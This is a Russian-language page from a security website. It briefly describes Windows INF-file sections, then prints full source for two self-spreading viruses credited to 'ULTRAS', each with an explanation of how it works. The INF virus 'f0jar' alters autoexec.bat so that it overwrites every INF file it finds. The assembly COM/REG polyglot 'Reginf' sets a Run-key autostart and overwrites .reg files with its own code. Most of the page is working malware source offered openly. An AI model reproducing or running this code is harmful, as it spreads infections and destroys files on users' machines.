|
реклама |
|
http://kiev-security.org.ua
Inf-файлы представляют собой инициализационные файлы, состоящие из нескольких разделов. Каждый раздел предназначен для выполнения определеной задачи.
00 - В текущий каталог? 01 - Исходное устроиство:\путь 04 - Каталог backup? 10 - Каталог Windows 11 - Каталог System 12 - Каталог Iosybsys 13 - Каталог Command? 14 - Каталог Control Panel 15 - Каталог Printers 16 - Каталог Workgroup? 17 - Каталог Inf 18 - Каталог Help 20 - Каталог Fonts? 21 - Каталог Viewers? 22 - Каталог VMM32? 26 - Каталог Winboot 28 - Каталог Winboot host 30 - Корневой каталог загрузочного устройства 32 - Корневой каталог с прежней версией windows? (если есть) 33 - Корневой каталог с прежней версией ms-dos? (если есть) UpdateAutoBat - В этом разделе находятся команды, которые модифицируют файл autoexec.bat.
Множество примеров вы сможете найти в windows/inf каталоге.
Скрипт внедряется в INF-файлы Windows. При инсталляции программного обеспечения стандартным способом Windows ищет INF- файл, обрабатывает его и выполняет скрипт-инструкции. При активизации создает в корневом каталоге диска С файл с именем f0jer.sys, копирует в него файл-носитель (INF) и дописывает в конец файла AUTOEXEC.BAT несколько команд DOS. Эти команды при очередной перезагрузке Windows ищут в каталоге windows\system и на текущем диске *.INF-файл и записывается вместо него.
;f0jar by ULTRAS [version] signature="$CHICAGO$" ; signature win95/98 SetupClass=BASE [DefaultInstall] CopyFiles = Ultra.File ; копирувоная файлов в разделе Ultra.file UpdateAutoBat = Patch.It ; запись в autoexec.bat в разделе Patch.it [Patch.it] ; удалим команды в autoexec.bat CmdDelete = "@ctty", "nul" CmdDelete = "for", "%%b in (%windir%\system\*.inf *.inf) do copy f0jer.sys %%b" CmdDelete = "ctty", "con" CmdAdd = "@ctty", "nul" ; запишем команды в autoexec.bat CmdAdd = "for", "%%b in (%windir%\system\*.inf *.inf) do copy f0jer.sys %%b" CmdAdd = "ctty", "con" [DestinationDirs] DefaultDestDir = 30 ; корневой каталог загрузочного устроиства [SourceDisksNames] 1="ULTRAS","",1 [Ultra.File] ; копируем из ultras.inf в f0jer.inf f0jer.sys, ultras.inf
Программа работы с REG файлами проста и требует элементарных знаний Ассемблера для DOS. Поясним сам процесс. Несмотря на небольшой размер, откомпилированный COM файл представляет собой комбинацию файлов типа .COM и .REG. Начало файла, строка 'REGEDIT4 ' (пробел в конце) - это исполняемый код, который выглядит как 'push dx / inc bp / inc di / inc bp / inc sp / dec cx / push sp / xor al,20h'. Последствия этого кода - уменьшение указателя стека на 3 байта [push dx (-2), inc sp (+1), push sp (- 2)]. Так как программа завершается инструкцией 'int 20h', а не 'ret', то восстанавливать sp не имеет смысла. В то же время это сигнатура файлов типа .REG. Отвлечемся от 'jmp v_start' и посмотрим на собственно .REG файл - он должен добавить в раздел автозапуска строку , таким образом, z0x.bat будет запускаться каждый раз при загрузке Windows. А теперь вернемся к коду COM файла. Первым делом он создает файл c:\z0x.bat и записывает в него команды DOS, которые переименовывают файл z0x.sys в z0x.com, запускают его и затем стирают. Второй создаваемый файл - c:\z0x.sys - сюда один в один копируется весь код. После этого идет поиск всех .reg файлов в текущем директории и перезапись их своим кодом.
.model tiny .code org 100h start: db "REGEDIT4 " jmp v_start db 13,10,13,10 db '[HKEY_LOCAL_MACHINE\ Software\Microsoft\Wndow s\CurrentVersi on\Run]',13,10 db '"start"="start /min z0x.bat"', 13,10,13,10 db "" v_start: lea dx,filename mov ah,3ch mov cx,3 int 21h mov bx,ax mov ah,40h mov dx,offset header mov cx,headerend int 21h now: lea dx,filename2 mov ah,3ch mov cx,3 int 21h mov bx,ax mov ah,40h mov dx,offset start mov cx,vlen int 21h mov ah,4eh mov dx,offset vbs_ int 21h find_file: jc exit_v mov ax,3d02h mov dx,09eh int 21h xchg bx,ax rewrite: mov ah,40h mov cx,_end - start mov dx,offset start int 21h close: mov ah,3eh int 21h mov ah,4fh int 21h jmp find_file exit_v: int 20h vir db 'Reginf by ULTRAS' state db 'MaDe in Russia' vbs_ db '*.reg', 00h header db '@echo off',0dh,0ah db 'ren z0x.sys z0x.com', 0dh,0ah db '@z0x.com', 0dh,0ah db 'del z0x.com', 0dh,0ah headerend equ $-offset header filename db "c:\z0x.bat",0 filename2 db "c:\z0x.sys",0 vlen equ $-offset start _end equ $ end star
<a href="http://kiev-security.org.ua" title="Самый большой объем в сети онлайн инф-ции по безопасности на rus" target="_blank"><img src="http://kiev-security.org.ua/88x31.gif" width="88" height="31" border="0" alt="security,безопасность,библиотека"></a> |